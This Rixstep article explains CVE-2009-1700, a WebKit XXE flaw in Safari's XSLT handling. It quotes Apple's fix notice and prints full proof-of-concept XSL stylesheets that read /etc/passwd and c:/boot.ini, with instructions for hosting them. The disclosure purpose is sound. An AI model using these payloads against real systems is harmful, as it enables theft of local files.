About | ACP | Buy | Forum | Industry Watch | Learning Curve | Search | Twitter | Xnews
Home » Learning Curve

On CVE-2009-1700, WebKit, and Safari 4

It's been fixed and you're safe as long as you're up to date.


Buy It

Try It

A vulnerability reported by Chris Evans of Google to Apple last year has been fixed in the final release of Safari 4. The vulnerability was in Apple's WebKit. A second vulnerability was reported right before the final release and Apple managed to roll out a fix in time.

What's important is that you upgrade your Tiger and Leopard systems all the way - to 10.4.11 and 10.5.7 respectively.

Background

Chris Evans of Google found an obscure vulnerability in 'Safari prior to version 4' back in June 2008 and reported it to Apple.

Apple finally fixed the bug a few days ago with the final release of Safari 4.

Programs affected: Safari prior to version 4
Severity: Websites can steal files from the victim's computer
Vendor URL (copy): APPLE-SA-2009-06-08-1
Initial report: Jun 2008

Safari was vulnerable to an XXE attack against a relatively obscure area of XML parsing. As a recap, XXE (Xml eXternal Entity) attacks abuse a built-in feature of XML to fetch files (or network resources) and embed them in an attacker's document. XXE attacks are most common server-side; this advisory notes a client-side attack against the Safari browser.

Safari's XSL stysheets were vulnerable to XXE attacks. By having a random XML file refer to an evil XSL resource (which is itself an XML-based format), the attacker can steal a local file by refering to it in the XSL resource's DTD.

Evans provided two 'proof of concept' URLs so people could test their browsers.

Safari users on OS X click here | Safari uses on Windows click here

The XSL exploit code is straightforward. For OS X:

<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/passwd"> ] >
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
  <body>
Below you should see the content of a local file, stolen by this evil web page.
<p/>
&ent;
<script>
alert(document.body.innerHTML);
</script>
  </body>
  </html>
</xsl:template>
</xsl:stylesheet>

And for Windows:

<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///c:/boot.ini"> ] >
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
  <body>
Below you should see the content of a local file, stolen by this evil web page.
<p/>
&ent;
<script>
alert(document.body.innerHTML);
</script>
  </body>
  </html>
</xsl:template>
</xsl:stylesheet>

The only diff is in the entity file spec on the first line in each snippet.

Not Only Safari

But the vulnerability wasn't in Safari as Chris Evans first reported - it was in Apple's WebKit. The exploit may have worked on any client on any platform, other Unix platforms included.

Adium, Air Browser, Apple Help Viewer, Apple iChat, Apple Mail, Apple Safari, Arora, Atlantis, Banshee, BBEdit, Blam, Bookpedia, BumperCar, C++ / gtkmm bindings, CDpedia, Chmox, Claws Mail, Clutter, CocoaJT, Coda, Colloquy, Conduit, Contribute 3, CreaText, CSSEdit, DesktopBrowser, Devhelp, Digsby, DVDpedia, Empathy, Entourage 2008, Epiphany, Evolution, Evolution RSS Reader Plugin, Feed Reader, Find It! Keep It!, Fire, Galaxium, Gamepedia, GIMP Help viewer, Google Chrome/Chromium, Gwibber, iBlog, iBrowser, ilcontrast, InterActual Player, Iris Browser, Kazehakse, KidsBrowser, Kioskbrowser, Liferea, Lifesaver, Mailplane, MarsEdit, Midori, MiNews, monodoc, MPX, MSN Messenger, NagaraBrowser, NetNewsWire, NewsFire, NewsKit, Nokia osb-browser, Nokia Web Browser for S60, OLPC Sugar WebKit Browse activity, OmniWeb, OpenMoko, Origyn Web Browser, Perl bindings, Pidgin, PixelNews, Poky Linux Web, Proteus, PulpFiction, Pyjamas Desktop, Python bindings, RapidWeaver, Real Player, Rhythmbox, Ruby bindings, Sandvox, secto, Shiira, Shrook, Skipstone, Smultron, Straw, SubEthaEdit, SunriseBrowser, Taco HTML Edit, TextMate, tinymail UI library, TrailBlazer, Vala bindings, Vienna, WebDesktop, WebKit EAL, webXkiosk, wKiosk Browser, XML Nanny, XML-RPC Client, Xyle scope, Yahoo! Messenger, Yelp.

Note that you can't test this vulnerability locally - WebKit is specifically supposed to dish up things if everything's in the same domain. You have to put the files online somewhere and try it from there.

Your XML file (the file your client accesses) should look like this.

<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="1700.xsl"?><xml>1700</xml>

And your XSL file (referenced by the XML file) should look like one of the snippets above.

The Fix

Apple rolled out a fix for the vulnerability in their 8 June release of Safari 4.

CVE-ID: CVE-2009-1700

Available for: Mac OS X v10.4.11, Mac OS X Server v10.4.11, Mac OS X v10.5.7, Mac OS X Server v10.5.7, Windows XP or Vista

Impact: Visiting a maliciously crafted website may result in the disclosure of sensitive information

Description: WebKit does not properly handle redirects when processing Extensible Stylesheet Language Transformations (XSLT). This allows a maliciously crafted website to retrieve XML content from pages on other websites, which could result in the disclosure of sensitive information. This update addresses the issue by ensuring that documents referenced in transformations are downloaded from the same domain as the transformation itself. Credit to Chris Evans of Google for reporting this issue.

Another Vulnerability

Chris Evans was alerted to another related vulnerability in 'Safari' right before the Apple update.

Programs affected: Safari 4 Beta; fixed in Safari 4 final
Severity: Websites can steal files from the victim's computer

This bug is a bonus addendum to this unpleasant XXE-based file theft attack. It is another Safari XXE attack that my colleague Carlos Pizano initially suggested might be possible based on the Chrome sandbox preventing network libraries being loaded. So full credit to Carlos for getting me to look into this further. All I did was create a file-stealing test case for Safari 4 Beta.

The great news here is that Apple responded swiftly to fix this in time for Safari 4 final. Therefore, best I know, this bug never hit a production release browser. (Safari 3 is unaffected because the cause of the bug seems to be a Webkit-based regression in more recent versions of Webkit).

For once an apple ends up smelling like a rose.

Bottom line: upgrade your OS wherever you are so you can take the Safari 4 update with the patched WebKit.

See Also
Scary Beasts: CESA-2009-006 Rev 1
Scary Beasts: CESA-2009-007 Rev 1
Apple: About the security content of Safari 4.0
Apple Mailing Lists: APPLE-SA-2009-06-08-1 Safari 4.0

About | ACP | Buy | Forum | Industry Watch | Learning Curve | Search | Twitter | Xnews
Copyright © Rixstep. All rights reserved.